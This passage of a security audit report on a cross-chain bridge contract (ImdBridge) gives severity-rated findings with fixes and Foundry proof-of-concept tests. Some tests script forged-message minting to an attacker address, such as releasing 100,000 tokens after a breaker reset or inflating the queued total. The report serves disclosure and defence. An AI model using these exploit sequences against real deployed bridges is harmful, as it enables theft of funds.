Merged from two specialists (economics, flow); reproduced. _validate checks each UNCANCEL item against the state BEFORE the batch (line 871: claims[eid][guid].state != CLAIM_CANCELLED reverts) and the BATCH duplicate check (line 766) covers only SET_PATH and the two library pins. _apply's UNCANCEL (the quoted lines) does not re-check the state, so the second item for the same guid finds the claim already pending and still adds its amount to `queued`. claim() and cancelClaim() subtract once per claim, so `queued` (P1's 'queued in flight', read by the watcher's cross-chain check received <= sent + in flight) stays too high by the claim's amount for good; a forged mint of that size hides inside the overstated figure. No mint beyond the claim results. Needs a Safe proposal (a careless bulk restore list, or a compromised Safe after 48 h). SMALLEST FIX (~15 B): in _apply's UNCANCEL, `if (c.state != CLAIM_CANCELLED) revert BadPayload();` before `c.state = CLAIM_PENDING`.

**Reproduction**

A 10,000 inbound transfer queues (queued = 10,000). Safe cancelClaim (queued = 0), then propose(BATCH[UNCANCEL(30101, g), UNCANCEL(30101, g)]): accepted. 48 h, applyPending, then claim. Expected: queued == 0 after the one claim is claimed (or the proposal refused). Actual: queued == 10,000 with no pending claim. Rerun here (solc 0.8.26 via_ir), `forge test --match-path 'test/scratch/Proof_89596836cacb.t.sol'`: [FAIL: P1: queued != sum of pending claims: 10000000000000000000000 != 0] test_duplicateUncancelInflatesQueued() (gas: 886947); 0 passed; 1 failed.

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ImdBridge, IMintableBurnable, UlnConfig} from "src/bridge/ImdBridge.sol";
import {ILayerZeroEndpointV2, Origin} from "layerzero-v2/protocol/interfaces/ILayerZeroEndpointV2.sol";
import {SetConfigParam} from "layerzero-v2/protocol/interfaces/IMessageLibManager.sol";

/// @dev EndpointV2's inbound channel, reduced to what these proofs use: a verified payload hash stays stored until it is
/// executed; lzReceive is permissionless; a reverting receiver reverts the whole call (the packet stays retryable).
contract PEp {
    uint32 public immutable eid;
    mapping(address => mapping(uint32 => mapping(bytes32 => mapping(uint64 => bytes32)))) public inboundPayloadHash;

    constructor(uint32 e) {
        eid = e;
    }

    function setConfig(address, address, SetConfigParam[] calldata) external {}
    function setSendLibrary(address, uint32, address) external {}
    function setReceiveLibrary(address, uint32, address, uint256) external {}

    /// @dev What a (compromised) DVN set's commit does: store the payload hash at the nonce.
    function verify(Origin calldata o, address r, bytes32 h) external {
        inboundPayloadHash[r][o.srcEid][o.sender][o.nonce] = h;
    }

    function lzReceive(Origin calldata o, address r, bytes32 guid, bytes calldata m) external {
        bytes32 h = keccak256(abi.encodePacked(guid, m));
        require(inboundPayloadHash[r][o.srcEid][o.sender][o.nonce] == h, "LZ_PayloadHashNotFound");
        delete inboundPayloadHash[r][o.srcEid][o.sender][o.nonce];
        ImdBridge(r).lzReceive(o, guid, m, msg.sender, "");
    }
}

contract PTok {
    mapping(address => uint256) public balanceOf;
    uint256 public totalSupply;

    function mint(address to, uint256 a) external returns (bool) {
        balanceOf[to] += a;
        totalSupply += a;
        return true;
    }

    function burn(address f, uint256 a) external returns (bool) {
        balanceOf[f] -= a;
        totalSupply -= a;
        return true;
    }
}

contract PLib {}

abstract contract PBase is Test {
    uint32 constant SRC = 30101; // the path from Ethereum, on the 4663 bridge
    uint32 constant LOCAL = 30416;
    uint256 constant C = 5_000e18; // launch instant cap
    uint256 constant D = 12 hours; // launch claim delay
    PEp ep;
    PTok tok;
    ImdBridge br;
    address safe = address(0x5AFE);
    address attacker = address(0xBAD);
    address alice = address(0xA11CE);
    bytes32 peer = bytes32(uint256(0xBEEF));
    address recvLib;
    uint64 lastNonce;

    struct Pkt {
        Origin o;
        bytes32 guid;
        bytes m;
    }

    function setUp() public {
        vm.warp(1_800_000_000);
        ep = new PEp(LOCAL);
        tok = new PTok();
        br = new ImdBridge(ILayerZeroEndpointV2(address(ep)), IMintableBurnable(address(tok)), safe, address(0x7EA5));
        address s = address(new PLib());
        recvLib = address(new PLib());
        bytes[] memory items = new bytes[](5);
        items[0] = abi.encode(uint8(1), SRC, peer, uint256(50_000e18), uint256(1 days), uint256(50_000e18), uint256(1 days), bytes(""));
        items[1] = abi.encode(uint8(3), SRC, s);
        items[2] = abi.encode(uint8(4), SRC, recvLib, uint256(0));
        SetConfigParam[] memory sp = new SetConfigParam[](2);
        sp[0] = SetConfigParam(SRC, 1, abi.encode(uint32(10_000), address(0xE0E0)));
        sp[1] = SetConfigParam(SRC, 2, _uln(0x1000));
        items[3] = abi.encode(uint8(2), s, sp);
        items[4] = _recvCfg(0x1000);
        _govern(abi.encode(uint8(6), items));
    }

    function _uln(uint160 base) internal pure returns (bytes memory) {
        address[] memory d = new address[](3);
        (d[0], d[1], d[2]) = (address(base + 1), address(base + 2), address(base + 3));
        return abi.encode(UlnConfig(20, 3, 255, 0, d, new address[](0)));
    }

    function _recvCfg(uint160 base) internal view returns (bytes memory) {
        SetConfigParam[] memory rp = new SetConfigParam[](1);
        rp[0] = SetConfigParam(SRC, 2, _uln(base));
        return abi.encode(uint8(2), recvLib, rp);
    }

    function _govern(bytes memory p) internal {
        vm.prank(safe);
        br.propose(p);
        vm.warp(vm.getBlockTimestamp() + 48 hours);
        br.applyPending();
    }

    /// @dev A packet the DVNs verified at the next nonce (forged when `to` is the attacker).
    function _verify(address to, uint256 amount) internal returns (Pkt memory p) {
        uint64 n = ++lastNonce;
        p.o = Origin(SRC, peer, n);
        p.guid = keccak256(abi.encode("pkt", n));
        p.m = abi.encodePacked(bytes32(uint256(uint160(to))), uint64(amount / 1e12));
        ep.verify(p.o, address(br), keccak256(abi.encodePacked(p.guid, p.m)));
    }

    function _run(Pkt memory p) internal {
        ep.lzReceive(p.o, address(br), p.guid, p.m);
    }

    function _key(uint64 n) internal view returns (bytes32) {
        return keccak256(abi.encodePacked(n, SRC, peer, LOCAL, bytes32(uint256(uint160(address(br))))));
    }
}

/// P1: `queued` must equal the sum of pending claims. A BATCH with the same UNCANCEL twice passes validation (each item is
/// checked against the pre-batch state, and UNCANCEL is not deduplicated) and adds the claim to `queued` twice.
contract ProofDoubleUncancel is PBase {
    function test_duplicateUncancelInflatesQueued() public {
        Pkt memory p = _verify(alice, 10_000e18); // above C: queued
        _run(p);
        bytes32 k = _key(p.o.nonce);
        assertEq(br.queued(), 10_000e18);
        vm.prank(safe);
        br.cancelClaim(SRC, k); // by mistake
        assertEq(br.queued(), 0);
        bytes[] memory items = new bytes[](2);
        items[0] = abi.encode(uint8(13), SRC, k);
        items[1] = abi.encode(uint8(13), SRC, k);
        vm.prank(safe);
        br.propose(abi.encode(uint8(6), items));
        vm.warp(vm.getBlockTimestamp() + 48 hours);
        (bool ok,) = address(br).call(abi.encodeWithSignature("applyPending()"));
        (,,, uint8 st) = br.claims(SRC, k);
        if (ok && st == 1) br.claim(SRC, k);
        assertEq(br.queued(), 0, "P1: queued != sum of pending claims");
    }
}
```

### 5. Low: P2 (a reset): RESET_BREAKER zeroes the window while what queued during the trip stays pending; a forger who queues in the block the reset applies gets it released uncounted, so 2B (100,000) is claimed

`src/bridge/ImdBridge.sol:1040`

```
            breakers[eid].tripped = false;
            breakerBuckets[eid] = 1 << 255;
```

New in this review (not in a specialist report). While a path is tripped, receipts and queueing go on (line 732 trips only `!b.tripped`), and RESET_BREAKER sets tripped = false and restarts the buckets at zero (the quoted lines) without regard to what is still pending. applyPending is permissionless and public 48 h ahead, so a forger (compromised DVNs, or a stockpile of packets verified earlier and never executed, see the UNPAUSE finding) runs lzReceive for up to the whole inbound allowance in the block the reset applies, AFTER the Safe's last possible cancelClaim: the claims are pending, were queued while tripped (no new trip, nothing to name), and after the reset count for nothing in the window. The forger then queues B more without tripping. With no human action after the reset, more than B queued inside one 4-UTC-day window becomes claimable and the path never trips: P2's breaker statement fails, and the no-action figure after a reset is 4C + B + (what the inbound limit let queue before the reset: 50,000 at launch, up to 2 x IN_LIMIT) instead of 4C + B. P3's premise 'leaves no forged claim pending before any RESET_BREAKER' cannot be met by cancelClaim against a same-block queue; only a pause or a cutoff standing at the reset meets it, which neither the source nor the README requires. Low: it needs the Safe to reset while forged packets can still execute, and each released claim still waits D (the Safe can answer again). Reachable with the deploy config. SMALLEST FIX: accept RESET_BREAKER only on a paused path (`if (!paused[eid]) revert PathOpen(eid);` in _check's RESET_BREAKER branch, checked again at application, about 20 B): nothing can queue between the Safe's last look and the reset, and whatever executes after the UNPAUSE counts in the fresh window. Alternative with no code: procedure 'pause or cutoff before RESET_BREAKER', added to P3's premise.

**Reproduction**

Launch values (C 5,000, D 12 h, B 50,000, in limit 50,000/day). 1) forged 50,000 queues (window = B, no trip); +5 h forged 10,000 queues: trip 1. 2) Safe cancelClaim on both (queued == 0), propose(RESET_BREAKER(eid, 1)). 3) 48 h later, one block: forged 50,000 runs lzReceive (queued; path already tripped), then anyone applyPending(): tripped false, buckets 0. 4) no human action: +12 h claim 50,000; +24 h forged 50,000 queues (window after reset = 50,000 = B, no trip); +36 h claim. Expected: at most B claimable in the window, or the path tripped. Actual: attacker holds 100,000e18, tripped == false. RUN (solc 0.8.26 via_ir, pinned commit) `forge test --match-path 'test/scratch/JudgeW5.t.sol'`: [FAIL: P2: more than B became claimable in one 4-UTC-day window with no human action and no trip] test_F5_resetReleasesUncountedQueue() (gas: 1184265). TEST (a function of a contract with an ImdBridge on a mock endpoint that stores verified payload hashes and a plain mint/burn token; path opened with the launch BATCH; _forge = verify + lzReceive of a forged message to the attacker, _key(n) = the claim key of nonce n):     function test_F5_resetReleasesUncountedQueue() public {
        uint64 n1 = _forge(50_000e18); // queued, window 50,000 = B: no trip
        vm.warp(vm.getBlockTimestamp() + 5 hours);
        uint64 n2 = _forge(10_000e18); // window 60,000 > B: trip 1
        (bool tripped,,,,) = _brk(br);
        assertTrue(tripped, "tripped");
        // the Safe cancels every forged claim, then proposes the reset of trip 1
        vm.startPrank(safe);
        br.cancelClaim(SRC, _key(n1));
        br.cancelClaim(SRC, _key(n2));
        br.propose(abi.encode(uint8(14), SRC, uint256(1)));
        vm.stopPrank();
        assertEq(br.queued(), 0, "no forged claim pending");
        vm.warp(vm.getBlockTimestamp() + 48 hours);
        // same block as the reset: the forger queues first (the path is still tripped, so nothing new trips), then applies
        uint64 n3 = _forge(50_000e18);
        br.applyPending();
        uint256 resetAt = vm.getBlockTimestamp();
        // no human action from here on
        vm.warp(resetAt + 12 hours);
        br.claim(SRC, _key(n3));
        vm.warp(resetAt + 24 hours);
        uint64 n4 = _forge(50_000e18); // window after the reset: 50,000 = B, no trip
        vm.warp(resetAt + 36 hours);
        br.claim(SRC, _key(n4));
        (tripped,,,,) = _brk(br);
        uint256 got = tok.balanceOf(attacker);
        assertTrue(tripped || got <= B, "P2: more than B became claimable in one 4-UTC-day window with no human action and no trip");
    }

### 6. Low: A cap change does not checkpoint the instant meter: the time before a raise decays at the new cap, so a raise frees up to the old cap more than its headroom

`src/bridge/ImdBridge.sol:1059`

```
        instantIn[eid].capSD = uint64(cap / CONVERSION);
```

Reproduced with my own test (economics specialist's finding). _setDelay's comment (lines 1056-1057) says `used` is kept, 'so a lowered cap takes effect at once and a raised one adds only its headroom'. _instantUsed (line 701) decays by capSD x (now - lastUpdated) / 1 day with whatever capSD is NOW, and _setDelay writes capSD without writing (used, lastUpdated). After a raise the whole time since the last instant mint decays at the new, larger rate: instant mints in an interval spanning the raise can exceed C_old + C_old x t / 1 day + headroom by up to C_old (5,000 at launch). Bounded, and it needs a public 48 h SET_DELAY, so low; a lowering has the mirror effect (the past decays more slowly), which is only stricter. SMALLEST FIX: in _setDelay, before writing capSD: `Meter storage m = instantIn[eid]; (uint256 u,) = _instantUsed(m); (m.used, m.lastUpdated) = (uint128(u), uint64(block.timestamp));` (not measured against the 81 B), or correct the comment and P2's wording for an interval that spans a raise.

**Reproduction**

Launch values. Safe proposes SET_DELAY raising C to 60,000 (D, B unchanged, version 0). At ETA - 2 h a 5,000 message mints at once (meter full, availableInstant == 0). At ETA anyone applies. Expected: availableInstant <= 60,000 - (5,000 - 5,000 x 2/24) = 55,416.67. Actual: 60,000. RUN (solc 0.8.26 via_ir) `forge test --match-path 'test/scratch/JudgeW5.t.sol'`: [FAIL: raise freed more than its headroom: 60000000000000000000000 > 55416666666666666666666] test_F6_raisedCapDecaysThePastAtTheNewRate() (gas: 503365). TEST (a function of a contract with an ImdBridge on a mock endpoint that stores verified payload hashes and a plain mint/burn token; path opened with the launch BATCH; _forge = verify + lzReceive of a forged message to the attacker, _key(n) = the claim key of nonce n):     function test_F6_raisedCapDecaysThePastAtTheNewRate() public {
        vm.prank(safe);
        br.propose(abi.encode(uint8(15), SRC, uint256(60_000e18), uint256(12 hours), B, uint40(0), uint256(0)));
        vm.warp(vm.getBlockTimestamp() + 46 hours);
        _forge(5_000e18); // instant: the meter is full at the old cap
        assertEq(br.availableInstant(SRC), 0, "full");
        vm.warp(vm.getBlockTimestamp() + 2 hours);
        br.applyPending();
        // headroom 55,000 + what 2 h decays at the OLD cap (5,000 x 2/24)
        uint256 expected = 60_000e18 - (5_000e18 - uint256(5_000e18) * 2 / 24);
        assertLe(br.availableInstant(SRC), expected, "raise freed more than its headroom");
    }

### 7. Low: P5: tighten on a path before its first SET_PATH writes a delay under MIN_DELAY (1 s) and a bumped version: the first SET_PATH then skips the launch values, and the launch BATCH's SET_DELAY (version 0)

`src/bridge/ImdBridge.sol:986`

```
            if (b.delay == 0) {
```

Merged from two specialists (flow: low, math: info); reproduced with my own test. tighten (lines 601-613) bounds `delay` only by the current delay and MAX_DELAY. On an eid never set, cap, breaker and delay are all 0, so tighten(eid, 0, 1, 0, 0) passes and stores delay = 1 s, C = 0, B = 0, version 1. SET_PATH writes DEFAULT_* (and the breaker day and bucket sentinel) only `if (b.delay == 0)` (the quoted line), so the path's first SET_PATH skips them: the path opens with D = 1 s, below MIN_DELAY, contradicting 'a path's first SET_PATH writes the launch values, so no open path is ever without a delay' and the threat model's D in [1 h, 7 d] even for a compromised Safe: an INSTANT act sets a value no timelocked act may. With C = 0 and B = 0 everything queues and the first message trips, but each RESET_BREAKER then releases what queued one second earlier. Second effect, with the deploy config: RobinhoodConfig's launch BATCH carries SET_DELAY naming version 0; one tighten on that eid before it applies makes the whole launch BATCH fail _validate (BadPayload) at application, costing another 48 h. Governor only (a mistake or a compromised Safe), hence low. SMALLEST FIX (a few bytes): in tighten's condition add `|| b.delay == 0` (a path never set cannot be tightened).

**Reproduction**

1) Safe: tighten(30101, 0, 1, 0, 0) on a fresh bridge with no path: succeeds. 2) Safe: propose(BATCH[SET_PATH, SET_SEND_LIBRARY, SET_RECEIVE_LIBRARY, SET_CONFIG x2]); 48 h; applyPending(). Expected: breakers(eid).delay >= MIN_DELAY (3,600), i.e. the launch 12 h. Actual: delay == 1. RUN (solc 0.8.26 via_ir) `forge test --match-path 'test/scratch/JudgeW5.t.sol'`: [FAIL: an open path with a claim delay under MIN_DELAY: 1 < 3600] test_F7_tightenBeforeFirstSetPath() (gas: 2795457). TEST (a function of a contract with an ImdBridge on a mock endpoint that stores verified payload hashes and a plain mint/burn token; path opened with the launch BATCH; _forge = verify + lzReceive of a forged message to the attacker, _key(n) = the claim key of nonce n):     function test_F7_tightenBeforeFirstSetPath() public {
        ImdBridge b2 = new ImdBridge(ILayerZeroEndpointV2(address(ep)), IMintableBurnable(address(tok)), safe, address(0x7EA5));
        vm.prank(safe);
        b2.tighten(SRC, 0, 1, 0, 0);
        address s = address(new PLib());
        address r = address(new PLib());
        bytes[] memory items = new bytes[](5);
        items[0] = abi.encode(uint8(1), SRC, peer, uint256(50_000e18), uint256(1 days), uint256(50_000e18), uint256(1 days), bytes(""));
        items[1] = abi.encode(uint8(3), SRC, s);
        items[2] = abi.encode(uint8(4), SRC, r, uint256(0));
        SetConfigParam[] memory sp = new SetConfigParam[](2);
        sp[0] = SetConfigParam(SRC, 1, abi.encode(uint32(10_000), address(0xE0E0)));
        sp[1] = SetConfigParam(SRC, 2, _uln(0x1000));
        items[3] = abi.encode(uint8(2), s, sp);
        SetConfigParam[] memory rp = new SetConfigParam[](1);
        rp[0] = SetConfigParam(SRC, 2, _uln(0x1000));
        items[4] = abi.encode(uint8(2), r, rp);
        vm.prank(safe);
        b2.propose(abi.encode(uint8(6), items));
        vm.warp(vm.getBlockTimestamp() + 48 hours);
        b2.applyPending();
        (,,,, uint32 d,,) = b2.breakers(SRC);
        assertGe(uint256(d), b2.MIN_DELAY(), "an open path with a claim delay under MIN_DELAY");
    }

### 8. Low: P4/P6: a void names only a payload hash (global, no path or nonce): voiding a forged replay of an honest (guid, message) at another nonce refuses the honest message too, and UNVOID reopens both

`src/bridge/ImdBridge.sol:658`

```
    function voidPayload(bytes32 payloadHash) external onlyGovernor {
        voided[payloadHash] = true;
        emit Voided(0, 0, bytes32(0), 0, payloadHash);
    }
```

Reproduced with my own test (flow specialist's finding). `voided` is keyed by keccak256(guid || message) alone (lines 314, 521-522) and is not per srcEid or nonce. The guid in a packet is a header field the DVNs sign, so a compromised DVN set can verify, at any other nonce of the path (or on another path of this bridge), a packet whose guid and message equal those of an honest transfer still waiting at the endpoint (verified, not executed: over the inbound limit, short of gas, path paused). Both have the same payload hash. The documented answer, 'void every forged payload', then refuses the honest one as well; the only way back is UNVOID (48 h), which reopens the forged twin in the same act, so through void the Safe can never have 'honest runs, forged refused'. ENDPOINT_NILIFY/BURN of the forged nonce set voided[h] too (line 1020), with the same side effect. P6's 'one path's state never affects another's' does not hold for this mapping, and the honest transfer is held for as long as the forgery stays voided (P4: not lost, but held without a clean release). No value is taken. The way out today is nonce-scoped and undocumented: hold(srcEid, forgedNonce) then RELEASE naming a hash nothing has, or let the replay execute and cancel its claim. SMALLEST FIX: document that route as the response to a replayed payload; a nonce-scoped void (voided[keccak256(abi.encode(srcEid, nonce, payloadHash))], tested in lzReceive) is the code fix but was not measured against the 81 B.

**Reproduction**

Honest packet (guid G1, message M: 100 imdUSD to alice) is verified at nonce 1 and waiting. The DVNs verify the same (G1, M) at nonce 2. Safe: voidPayload(keccak256(G1 || M)). lzReceive(nonce 2) reverts PayloadVoided (wanted). lzReceive(nonce 1), the honest one: expected to mint 100 to alice; actual: reverts PayloadVoided with the same hash. RUN (solc 0.8.26 via_ir) `forge test --match-path 'test/scratch/JudgeW5.t.sol'`: [FAIL: PayloadVoided(0x37cfd11c3c3e78eeca1aeb4ee7456789e7f17f10e76ec87ca4c58380577fb47a)] test_F8_voidOfForgedReplayRefusesHonestMessage() (gas: 275411). TEST (a function of a contract with an ImdBridge on a mock endpoint that stores verified payload hashes and a plain mint/burn token; path opened with the launch BATCH; _forge = verify + lzReceive of a forged message to the attacker, _key(n) = the claim key of nonce n):     function test_F8_voidOfForgedReplayRefusesHonestMessage() public {
        Pkt memory h = _verify(alice, 100e18); // honest, verified at nonce 1, waiting
        bytes32 hash = keccak256(abi.encodePacked(h.guid, h.m));
        Pkt memory f = Pkt(Origin(SRC, peer, 2), h.guid, h.m); // forged replay of (guid, message) at nonce 2
        ep.verify(f.o, address(br), hash);
        vm.prank(safe);
        br.voidPayload(hash);
        vm.expectRevert();
        this.run(f); // wanted: the replay is refused
        this.run(h); // the honest one must still run
        assertEq(tok.balanceOf(alice), 100e18, "honest message refused");
    }

### 9. Info: Judge's coverage: answers to questions 1-5, claims C1-C6, soundness and the smallest change; what was and was not run

`src/bridge/ImdBridge.sol:555`

```
    function claim(uint32 srcEid, bytes32 guid) external nonReentrant {
```

SCOPE READ: ImdBridge.sol (all 1,080 lines), Governed.sol, ImdUSD.checkBridge/setBridge/mint, ParametersRules SET_BRIDGE, BridgeBatch.s.sol, Safe4663.s.sol and the bridge part of RobinhoodConfig. Every specialist finding was rerun or rewritten as a test before it was kept; duplicates are merged (tighten revert: 3 reports -> 1; lowered B: 2 -> 1; double UNCANCEL: 2 -> 1; tighten before SET_PATH: 2 -> 1). One finding is new (RESET_BREAKER). Q1 (P1, P2): no mint beyond the instant C + C x t / 1 day or before queuedAt + D was found; replays are keyed by the endpoint-derived GUID, dust and zero revert before metering, and the densest no-action 72 h schedule found mints exactly 4C + B = 70,000 with the next queued message tripping (C1 CONFIRMED, test_C1 passes). Beyond it: after a RESET_BREAKER the window restarts at zero while claims queued during the trip stay pending (finding, 100,000 through claims with no trip); a cap raise decays the past at the new cap (finding); a lowered B does not trip (finding); `queued` can be overstated by a duplicate UNCANCEL (finding). Not bounded over time by design: a forger who stays at or under B per window never trips. Q2 (P3, P5): the pause route cannot be front-run or reverted, but it can be OUTLASTED by packets verified and not executed (finding, 10,000 > 7,500); the tighten route can be REVERTED by anyone applying a matured SET_DELAY first (finding). No instant act opens anything on a set path; on a never-set path tighten writes D = 1 s (finding). Known and as written: any matured UNPAUSE/RESET_BREAKER/UNCANCEL applies by anyone and is not versioned. C2 CONFIRMED as worded with D read at claim time (test_C2 passes: a claim queued 30 min before a 12 h -> 1 h shortening applies is refused until queuedAt + 1 h); the Safe's window for such a claim is the NEW D, as the README says. C3 CONFIRMED (test_C3 passes: a stale SET_DELAY reverts BadPayload after a tighten; a SET_DELAY on the new version lifts the cutoff and the claim mints in full); the version is a checked uint16, so the 65,536th tighten on a path would revert (governor only, unreachable in practice). Q3 (P4): no honest transfer lost or taken; a claim never expires and cutoff, trip, pause and a longer delay only wait. Held without a clean release: the void-by-hash twin (finding). C5 CONFIRMED for the claim key (test_C5 passes). Q4 (P6): by reading, 'both pinned + configured' holds for any BATCH order: SET_PATH and each pin need a floor-checked ULN config after the BATCH, the three ULN fields ULN302 merges from defaults (confirmations, required count, optional count) are forced non-default, grace only from a library already configured, UNPAUSE not in a BATCH with a change and not while grace runs. Residual by reading: SET_CONFIG treats a library pinned as BOTH send and receive for an eid as a send library (confirmation floor of the local chain only); the real ULN302 send and receive libraries are separate contracts, so not reachable with the deploy config. Isolation fails for `voided` (global, finding) and for the single pending slot (a tighten on one path makes a BATCH that also carries that path's SET_DELAY fail at application, with every other path's items in it). Q5 (P7): checkBridge compares the candidate's token(), governor(), treasury() and endpoint() with this chain's (C6 CONFIRMED by reading ImdUSD.sol lines 116-125; setBridge refuses a second call), so beyond a contract faking those views only another ImdBridge built with the same four arguments passes. BridgeBatch's payload is RobinhoodConfig's constants: SET_PATH 50,000 / 1 day mirrored both ways with enforced options 0x0003 01 0011 01 + uint128(250,000); SET_DELAY 5,000 / 12 h / 50,000, no cutoff, version 0; pins with grace 0; executor + ULN (3 required DVNs strictly ascending on each chain, optional NIL, 20 confirmations from 4663 and 15 from mainnet on the right side of each library). Weak spot, not a defect: path() asserts only availableOut/availableIn != 0, not 50,000 or t

**Reproduction**

Confirmations pass on this commit (solc 0.8.26 via_ir), `forge test --match-path 'test/scratch/JudgeW5.t.sol'`: [PASS] test_C1_noAction72hIs70000() (gas: 1242307); [PASS] test_C2_shorteningNeverBelowNewDelay() (gas: 624648); [PASS] test_C3_staleSetDelayRefusedAndCutoffRestore() (gas: 978344); [PASS] test_C5_forgedGuidDoesNotTakeHonestKey() (gas: 487544); the four finding tests in the same file fail as each finding states (Suite result: FAILED. 4 passed; 4 failed; 0 skipped). C1 schedule: t0 instant 5,000 + queue 45,000; +24 h instant 5,000 + queue 5,000; +48 h instant 5,000; +72 h instant 5,000 and both claims: attacker 70,000e18; a further 10 imdUSD message queues and trips.

---

Judge's submission `1b742605bf2e763437dc429d95c8358753e85a7e8f41a0d98c44ca8e6ae68fb2`, accepted on the IdentityMD network. Acceptance means the report met the job's checks;
it is not a guarantee that the code has no other defects.
